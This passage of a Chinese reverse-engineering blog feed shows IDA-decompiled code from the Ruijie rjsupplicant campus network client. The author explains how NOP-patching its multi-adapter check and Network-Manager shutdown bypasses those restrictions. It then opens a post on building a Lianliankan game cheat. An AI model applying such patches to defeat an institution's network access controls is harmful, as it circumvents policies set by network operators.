\[bp-5Ch\]@16</span></span><br><span class="line">  <span class="keyword">const</span> <span class="keyword">char</span> *s1; <span class="comment">// \[sp+24h\] \[bp-44h\]@2</span></span><br><span class="line">  <span class="keyword">void</span> *ptr; <span class="comment">// \[sp+28h\] \[bp-40h\]@1</span></span><br><span class="line">  <span class="keyword">char</span> dest; <span class="comment">// \[sp+30h\] \[bp-38h\]@19</span></span><br><span class="line">  <span class="keyword">int</span> *v16; <span class="comment">// \[sp+40h\] \[bp-28h\]@19</span></span><br><span class="line">  <span class="keyword">int</span> v17; <span class="comment">// \[sp+50h\] \[bp-18h\]@19</span></span><br><span class="line">  <span class="keyword">int</span> v18; <span class="comment">// \[sp+54h\] \[bp-14h\]@19</span></span><br><span class="line">  <span class="keyword">int</span> v19; <span class="comment">// \[sp+58h\] \[bp-10h\]@15</span></span><br><span class="line"></span><br><span class="line">  v1 = get\_nics\_info(<span class="number">0</span>);</span><br><span class="line">  ptr = (<span class="keyword">void</span> *)v1;</span><br><span class="line">  <span class="keyword">if</span> ( !v1 )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">free</span>\_nics\_info(ptr);</span><br><span class="line">  v2 = v1;</span><br><span class="line">  s1 = (<span class="keyword">const</span> <span class="keyword">char</span> *)(a1 + <span class="number">360</span>);</span><br><span class="line">  <span class="keyword">while</span> ( !<span class="built_in">strcmp</span>(s1, (<span class="keyword">const</span> <span class="keyword">char</span> *)v2) )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = v2 + <span class="number">16</span>;</span><br><span class="line">    CLogFile::AppendText(g\_log\_Wireless, <span class="string">"nic name:%s"</span>, s1);</span><br><span class="line">    v4 = <span class="number">6</span>;</span><br><span class="line">    v5 = a1 == <span class="number">-884</span>;</span><br><span class="line">    v6 = a1 + <span class="number">884</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !v4 )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v5 = *(\_BYTE *)v3++ == *(\_BYTE *)v6++;</span><br><span class="line">      --v4;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v5 );</span><br><span class="line">    <span class="keyword">if</span> ( !v5 )</span><br><span class="line">    &#123;</span><br><span class="line">      CLogFile::AppendText(g\_log\_Wireless, <span class="string">"mac chagedn"</span>);</span><br><span class="line">      v12 = <span class="number">0</span>;</span><br><span class="line">      v11 = <span class="number">30</span>;</span><br><span class="line">      <span class="keyword">goto</span> FindMul;</span><br><span class="line">    &#125;</span><br><span class="line">    CLogFile::AppendText(g\_log\_Wireless, <span class="string">"ipv4 count:%d"</span>, *(_DWORD *)(v2 + <span class="number">48</span>));</span><br><span class="line">    <span class="keyword">for</span> ( i = *(\_DWORD *)(v2 + <span class="number">52</span>); i; i = *(\_DWORD *)(i + <span class="number">8</span>) )</span><br><span class="line">      CLogFile::AppendText(</span><br><span class="line">        g\_log\_Wireless,</span><br><span class="line">        (<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;unk_810ED8E,</span><br><span class="line">        *(_BYTE *)(i + <span class="number">3</span>),</span><br><span class="line">        *(_BYTE *)(i + <span class="number">2</span>),</span><br><span class="line">        *(_BYTE *)(i + <span class="number">1</span>),</span><br><span class="line">        *(_BYTE *)i);</span><br><span class="line">    <span class="keyword">if</span> ( *(\_DWORD *)(v2 + <span class="number">48</span>) &gt; <span class="number">1</span> &amp;&amp; *(\_BYTE *)(a1 + <span class="number">890</span>) )</span><br><span class="line">    &#123;</span><br><span class="line">      CLogFile::AppendText(g\_log\_Wireless, <span class="string">"multiple ipsn"</span>);</span><br><span class="line">      v12 = <span class="number">0</span>;</span><br><span class="line">      v11 = <span class="number">21</span>;</span><br><span class="line">      <span class="keyword">goto</span> FindMul;</span><br><span class="line">    &#125;</span><br><span class="line">    v8 = *(<span class="keyword">int</span> **)(v2 + <span class="number">52</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !v8 )</span><br><span class="line">    &#123;</span><br><span class="line">      CLogFile::AppendText(g\_log\_Wireless, <span class="string">"ip chaged - no ipn"</span>);</span><br><span class="line">      v12 = <span class="number">0</span>;</span><br><span class="line">      v11 = <span class="number">31</span>;</span><br><span class="line">      <span class="keyword">goto</span> FindMul;</span><br><span class="line">    &#125;</span><br><span class="line">    v9 = *v8;</span><br><span class="line">    v19 = v9;</span><br><span class="line">    LOWORD(v9) = \_\_ROR\_\_(v9, <span class="number">8</span>);</span><br><span class="line">    v9 = \_\_ROR\_\_(v9, <span class="number">16</span>);</span><br><span class="line">    LOWORD(v9) = \_\_ROR\_\_(v9, <span class="number">8</span>);</span><br><span class="line">    v5 = *(_DWORD *)(a1 + <span class="number">880</span>) == v9;</span><br><span class="line">    v19 = v9;</span><br><span class="line">    <span class="keyword">if</span> ( !v5 )</span><br><span class="line">    &#123;</span><br><span class="line">      CLogFile::AppendText(g\_log\_Wireless, <span class="string">"ip chagedn"</span>);</span><br><span class="line">      v12 = <span class="number">0</span>;</span><br><span class="line">      v11 = <span class="number">31</span>;</span><br><span class="line">      <span class="keyword">goto</span> FindMul;</span><br><span class="line">    &#125;</span><br><span class="line">LABEL_4:</span><br><span class="line">    v2 = *(_DWORD *)(v2 + <span class="number">64</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !v2 )</span><br><span class="line">      <span class="keyword">return</span> <span class="built_in">free</span>\_nics\_info(ptr);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !*(_BYTE *)(a1 + <span class="number">890</span>) )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">  CLogFile::AppendText(g\_log\_Wireless, (<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;unk_810EDC9, v2);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;dest, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  <span class="built_in">strncpy</span>(&amp;dest, (<span class="keyword">const</span> <span class="keyword">char</span> *)v2, <span class="number">0xF</span>u);</span><br><span class="line">  v16 = &amp;v17;</span><br><span class="line">  v17 = <span class="number">10</span>;</span><br><span class="line">  v18 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( ioctl(*(_DWORD *)(a1 + <span class="number">900</span>), <span class="number">0x8913</span>u, &amp;dest) &lt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( ioctl(*(_DWORD *)(a1 + <span class="number">900</span>), <span class="number">0x8946</span>u, &amp;dest) &gt;= <span class="number">0</span> &amp;&amp; v18 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      CLogFile::AppendText(g\_log\_Wireless, <span class="string">"multiple adaptersn"</span>);</span><br><span class="line">      v12 = <span class="number">0</span>;</span><br><span class="line">      v11 = <span class="number">20</span>;</span><br><span class="line">      <span class="keyword">goto</span> FindMul;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !((<span class="keyword">unsigned</span> \_\_int8)v16 &amp; <span class="number">1</span>) || !((<span class="keyword">unsigned</span> \_\_int8)v16 &amp; <span class="number">0x40</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    CLogFile::AppendText(g\_log\_Wireless, <span class="string">"SIOCGIFFLAGS flags:%4x"</span>, (<span class="keyword">signed</span> __int16)v16);</span><br><span class="line">    <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">  &#125;</span><br><span class="line">  CLogFile::AppendText(g\_log\_Wireless, <span class="string">"multiple adapters flags:%4x"</span>, (<span class="keyword">signed</span> __int16)v16);</span><br><span class="line">  v12 = <span class="number">0</span>;</span><br><span class="line">  v11 = <span class="number">20</span>;</span><br><span class="line">FindMul:</span><br><span class="line">  PostThreadMessage(*(\_DWORD *)(a1 + <span class="number">872</span>), *(\_DWORD *)(a1 + <span class="number">876</span>), v11, v12);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">free</span>\_nics\_info(ptr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>真好。。还有输出调试，可以看出如果发现多网卡多IP等情况会跳转到FindMul这个label然后PostMessage，应该是判断出多网卡之后向线程发送一个通知信息。把这个函数nop掉就Patch掉多网卡限制了。 ————割———— 之后是Network-manager服务 查找跟service有关的，找到一个stop_service函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl service\_stop(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// \[sp+10h\] \[bp-208h\]@1</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;s, <span class="number">0</span>, <span class="number">0x200</span>u);</span><br><span class="line">  <span class="built_in">sprintf</span>(&amp;s, <span class="string">"service %s stop 2&gt;&amp;-"</span>, a1);</span><br><span class="line">  system(&amp;s);</span><br><span class="line">  <span class="keyword">return</span> service_stop2(a1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数作用是通过传入的服务名调用system关闭服务。 查看xrefs引用 </p><p><img src="data:image/png;base64,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" alt> </p><p>都是在EnvironmentCheck中引用。 查看下这个函数发现第一处的引用是关闭Network-Manager的。nop掉他，结束。 x64的也是类似的，就不重复了</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;福大锐捷更新了新版的。。。也有个linux版rjsupplicant rjsupplicant这个程序分x86和x64两个版本，启动时通过sh判断版本运行。 通过IDA加载x86的试试看，发现有带调试信息。。。一切就简单了。 先试试把多网卡处理掉，有调试信息的话先试试直接找
      
    
    </summary>
    
    
      <category term="rjsupplicant" scheme="https://blog.eadom.net/tags/rjsupplicant/"/>
    
  </entry>
  
  <entry>
    <title>连连看外挂——人生真是寂寞如雪啊</title>
    <link href="https://blog.eadom.net/uncategorized/lianliankan-cheater/"/>
    <id>https://blog.eadom.net/uncategorized/lianliankan-cheater/</id>
    <published>2014-04-02T12:49:38.000Z</published>
    <updated>2025-11-21T12:45:50.780Z</updated>
    
    <content type="html"><![CDATA[<p>人生真是寂寞如雪啊。。。 </p><h2 id="思路是找到棋盘位置-gt-读取棋盘数据-gt-计算可消除的格子-gt-向窗口发送鼠标点击消息"><a href="#思路是找到棋盘位置-gt-读取棋盘数据-gt-计算可消除的格子-gt-向窗口发送鼠标点击消息" class="headerlink" title="思路是找到棋盘位置-&gt;读取棋盘数据-&gt;计算可消除的格子-&gt;向窗口发送鼠标点击消息"></a>思路是找到棋盘位置-&gt;读取棋盘数据-&gt;计算可消除的格子-&gt;向窗口发送鼠标点击消息</h2><p>Tip：可以点击练习来进行单人游戏。 </p><h1 id="找棋盘位置"><a href="#找棋盘位置" class="headerlink" title="找棋盘位置"></a>找棋盘位置</h1><p>找棋盘位置本来想下rand或者消息。。。结果断不了。。。只能用最简单的CE了。。。 跟金山游侠一样哦，选一个进程，然后搜索内存~ <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlYAAAJxCAIAAAAPbmvGAAAgAElEQVR4nOydd3wUdf7/39uyKZDQpIckJCGFEopEQAUERBAEEaQIKoQgopQDBSyUEHpNghQRJGC707NguTvLeXoWLOdXT0RBgqe/4wgJIWxsUSAwvz+WbGanfHZmd2fb5/V8vB88Zj7zmc/nM7OffJ58ZmdmqQoAAAAIHn8PHhTsYwcAAMA1UCAAAABOCWkFrlixYtq0aV9++WUATgQAAIDwJZOJ2l4hp8ANGzY0ScocOHBgVVVVTNMrTF2GjB8/vqqqKjom1hplP3nypEGnDwAAQPgSYAUKgiAIAjvFGwWazGbqMqR5zgB7o3hr54Gm2zc37TEoKirK0jbDdPXkt956y7ATCICxHJifmTn/QLBb4SUH5mdmjir5PNjNAEANhucMmgWKnafXfwoKbNas2YkTJ4qKiqwj55smrjFdNz1+9PyUGWsTphSaBuebRixoPX29384WAAZyYL7ov58u6wVSgZ+XjJL8L9i3mj8vGWWAAsXnSaV9oiwwMGAReAW6zOeF/6QK7Nq1qymxc3RqT2v7LNOg/ITE1JKSEuemEydO9OvXL33gqMzBY3AhFIQ4TveIx/MD8y+P3f5WIKu8z0tGhbgyDsz37OXPS0a5chgjYRA5BEWBf/dq/qegwKqqKovVZptYaBq7zB7byG9nBYBAwrxcCAU24MW5+LxkVBhfSAaGE96zwKqqqldeecU0KN86Y8eXX355uh6/nR4ADMeDd5zDvugSpft4Lr526VaKeMPlXSTXOeWVqjTlskZU2+B22fGA2DkiuXsqRPVA3OrRLWgoMOLQe+uKx9K82OS7/+TLuhVYVlZmS+wSndLdNCjfNG2r+crR0am9olN7RWX0bdkxu0nTpt6dEQACiqcx2umX+qH/wHyxIdymj27X/D4vma+Y7tUs8LKd3NpQX4TkEu5lG6opUKUQxoFIzoSbQz37EAKMQPyuQAZqe/nFf95ZsEGB48aNa9FvdNPhM03TSkzTt7W+ZV6rm+e1n7C4Q6/+UdHROTk53p0RAAKKp4uPkqukokH985JR7sO7WlFu1vOkQDcaKlJpg/wa7uesWaBPB+L+nwHW13wNxxHKl3VB+OK1An1HeiH01KlTMWMX2/OKX3zxxaCcCwB8QosCRX5oMIf89k23CZj7DabaFah+IVStDQoXNNUvhHpxIOId5Nd62XM8+X1GAPhOCCnQYrGY+oynaVubpOXgW0AQhnh4do6tQOZDAWIRhboCNVhK1nJtO4b1g5UgNAkVBZ44cSI2vZf9+vyEfqNN41dGt+04bNgw19bKykqT2RLTssM//vGPgJ8iALTCvtFfVYEMd7pvcTeFXxWo0Aa3o9GkQK0P0Mtap+0GVigQ+J1QUWBVVdVrr73mXGiU3tM0vtDUZ7wlsbOleXtqfAW1SqPOg00j7+vRo0fATxEA2nFerhOP5p+XjFJ+LlBsEulVPtcDcWINXb7MqHzniUI79ClQcn+Op9th9B6IBJle3VrRsOxWEi6EAr8TQgp0smfPHsoeZLlzS2zzVjFJWaYxS0yjH7DFN7NERVP+jjYDxh0+fDjA5wgAXbh/I6Z6B6fEJG57SW82qU+UFFH/JaHyQxEK38ix7CUqz5ld/4VQ5oGwTpNkb/fn4dW+UgTAd0JOgadPnzZbbTHNWlVVVVVWVlp